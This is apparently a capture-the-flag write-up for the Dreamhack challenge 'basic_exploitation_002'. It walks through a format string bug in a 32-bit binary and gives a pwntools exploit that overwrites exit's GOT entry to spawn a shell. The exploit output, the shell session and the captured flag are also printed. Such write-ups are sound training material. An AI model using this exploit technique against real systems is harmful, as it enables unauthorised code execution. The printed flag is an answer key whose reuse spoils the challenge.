basic_exploitation_002
Enumeration
System information is as follows.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Source code reveals a simple program which reads from the standard input and outputs the given input.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_002]
└─$ cat basic_exploitation_002.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
Exploitation
Since the program uses the given input directly with printf
, I’ll be able to use a format string attack. To gain a shell, I’ll find the address of get_shell
. Next, I’ll find the address of exit
which I’ll overwrite with the address of get_shell
.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_002]
└─$ nm basic_exploitation_002 | grep get_shell
08048609 T get_shell
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_002]
└─$ objdump -d basic_exploitation_002 -j .plt
basic_exploitation_002: file format elf32-i386
Disassembly of section .plt:
08048400 <.plt>:
8048400: ff 35 04 a0 04 08 push 0x804a004
8048406: ff 25 08 a0 04 08 jmp *0x804a008
804840c: 00 00 add %al,(%eax)
...
08048410 <read@plt>:
8048410: ff 25 0c a0 04 08 jmp *0x804a00c
8048416: 68 00 00 00 00 push $0x0
804841b: e9 e0 ff ff ff jmp 8048400 <.plt>
08048420 <printf@plt>:
8048420: ff 25 10 a0 04 08 jmp *0x804a010
8048426: 68 08 00 00 00 push $0x8
804842b: e9 d0 ff ff ff jmp 8048400 <.plt>
08048430 <signal@plt>:
8048430: ff 25 14 a0 04 08 jmp *0x804a014
8048436: 68 10 00 00 00 push $0x10
804843b: e9 c0 ff ff ff jmp 8048400 <.plt>
08048440 <alarm@plt>:
8048440: ff 25 18 a0 04 08 jmp *0x804a018
8048446: 68 18 00 00 00 push $0x18
804844b: e9 b0 ff ff ff jmp 8048400 <.plt>
08048450 <puts@plt>:
8048450: ff 25 1c a0 04 08 jmp *0x804a01c
8048456: 68 20 00 00 00 push $0x20
804845b: e9 a0 ff ff ff jmp 8048400 <.plt>
08048460 <system@plt>:
8048460: ff 25 20 a0 04 08 jmp *0x804a020
8048466: 68 28 00 00 00 push $0x28
804846b: e9 90 ff ff ff jmp 8048400 <.plt>
08048470 <exit@plt>:
8048470: ff 25 24 a0 04 08 jmp *0x804a024
8048476: 68 30 00 00 00 push $0x30
804847b: e9 80 ff ff ff jmp 8048400 <.plt>
08048480 <__libc_start_main@plt>:
8048480: ff 25 28 a0 04 08 jmp *0x804a028
8048486: 68 38 00 00 00 push $0x38
804848b: e9 70 ff ff ff jmp 8048400 <.plt>
08048490 <setvbuf@plt>:
8048490: ff 25 2c a0 04 08 jmp *0x804a02c
8048496: 68 40 00 00 00 push $0x40
804849b: e9 60 ff ff ff jmp 8048400 <.plt>
Using the information found, I’ll write an exploit which will lend me a shell once executed.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_002]
└─$ cat exploit.py
import sys
from pwn import *
def send_payload(payload):
client.sendline(payload)
return client.recvall()
client= remote(sys.argv[1], int(sys.argv[2]))
offset= FmtStr(execute_fmt= send_payload).offset
client= remote(sys.argv[1], int(sys.argv[2]))
payload= fmtstr_payload(offset, {0x0804a024:0x08048609})
client.sendline(payload)
client.interactive()
By running the exploit, I’m able to gain a shell as the user basic_exploitation_002
.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_002]
└─$ python2 exploit.py host1.dreamhack.games 24400
[+] Opening connection to host1.dreamhack.games on port 24400: Done
[+] Receiving all data: Done (44B)
[*] Closed connection to host1.dreamhack.games port 24400
[*] Found format string offset: 1
[+] Opening connection to host1.dreamhack.games on port 24400: Done
[*] Switching to interactive mode
%9 na'\xa0\x04$\xa0\x04%\xa0\x04
$ id
uid=1000(basic_exploitation_002) gid=1000(basic_exploitation_002) groups=1000(basic_exploitation_002)
Post Exploitation
With the shell acquired, I’m able to read the flag.
$ cat flag
DH{59c4a03eff1e4c10c87ff123fb93d56c}